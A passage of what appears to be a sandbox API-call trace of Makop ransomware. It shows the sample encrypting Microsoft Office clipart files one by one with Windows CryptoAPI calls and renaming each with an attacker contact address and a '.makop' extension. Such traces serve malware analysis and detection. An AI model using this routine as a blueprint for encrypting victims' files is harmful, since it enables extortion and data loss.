RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.110] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.110] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.110] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0116.115] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.115] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.115] GetProcessHeap () returned 0x48a0000 [0116.115] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.115] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.115] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.115] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.115] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.115] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.116] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.116] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.116] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.116] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.116] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.116] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.116] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2606, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2606, lpOverlapped=0x0) returned 1 [0116.118] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2610, dwBufLen=0x2610 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2610) returned 1 [0116.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.118] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2610, lpOverlapped=0x0) returned 1 [0116.118] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x26e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.119] SetEndOfFile (hFile=0xf0) returned 1 [0116.126] GetProcessHeap () returned 0x48a0000 [0116.126] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.127] GetProcessHeap () returned 0x48a0000 [0116.127] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.127] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.127] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.128] CloseHandle (hObject=0xf0) returned 1 [0116.128] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x257c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086420.WMF", cAlternateFileName="")) returned 1 [0116.128] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0116.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.129] GetProcessHeap () returned 0x48a0000 [0116.129] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.129] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.129] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.130] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.134] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.134] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.134] GetProcessHeap () returned 0x48a0000 [0116.134] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.134] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.134] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.134] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.135] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.135] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.135] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.135] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.135] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.135] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.136] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.136] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.136] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x257c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x257c, lpOverlapped=0x0) returned 1 [0116.137] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2580, dwBufLen=0x2580 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2580) returned 1 [0116.138] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.138] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2580, lpOverlapped=0x0) returned 1 [0116.138] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.138] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.138] SetEndOfFile (hFile=0xf0) returned 1 [0116.145] GetProcessHeap () returned 0x48a0000 [0116.145] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.145] GetProcessHeap () returned 0x48a0000 [0116.146] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.146] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.146] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.147] CloseHandle (hObject=0xf0) returned 1 [0116.147] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086424.WMF", cAlternateFileName="")) returned 1 [0116.147] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0116.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.148] GetProcessHeap () returned 0x48a0000 [0116.148] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.148] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.148] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.148] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.153] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.153] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.153] GetProcessHeap () returned 0x48a0000 [0116.153] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.153] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.153] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.153] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.154] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.154] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.154] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.154] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.156] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.157] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.157] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.157] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.157] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4278, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4278, lpOverlapped=0x0) returned 1 [0116.158] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4280, dwBufLen=0x4280 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4280) returned 1 [0116.159] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.159] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4280, lpOverlapped=0x0) returned 1 [0116.159] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.159] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.159] SetEndOfFile (hFile=0xf0) returned 1 [0116.167] GetProcessHeap () returned 0x48a0000 [0116.167] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.167] GetProcessHeap () returned 0x48a0000 [0116.167] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.167] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.167] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.202] CloseHandle (hObject=0xf0) returned 1 [0116.202] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5516, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086426.WMF", cAlternateFileName="")) returned 1 [0116.202] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0116.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.203] GetProcessHeap () returned 0x48a0000 [0116.203] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.203] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.203] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.204] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0116.288] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.288] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.288] GetProcessHeap () returned 0x48a0000 [0116.288] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.288] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.288] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.288] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.288] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.288] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.289] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.289] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.289] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.289] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.289] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.289] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.289] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5516, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5516, lpOverlapped=0x0) returned 1 [0116.291] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5520, dwBufLen=0x5520 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5520) returned 1 [0116.291] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.291] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5520, lpOverlapped=0x0) returned 1 [0116.291] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.292] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x55f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.292] SetEndOfFile (hFile=0xf0) returned 1 [0116.299] GetProcessHeap () returned 0x48a0000 [0116.299] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.299] GetProcessHeap () returned 0x48a0000 [0116.299] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.299] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.301] CloseHandle (hObject=0xf0) returned 1 [0116.301] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a12, 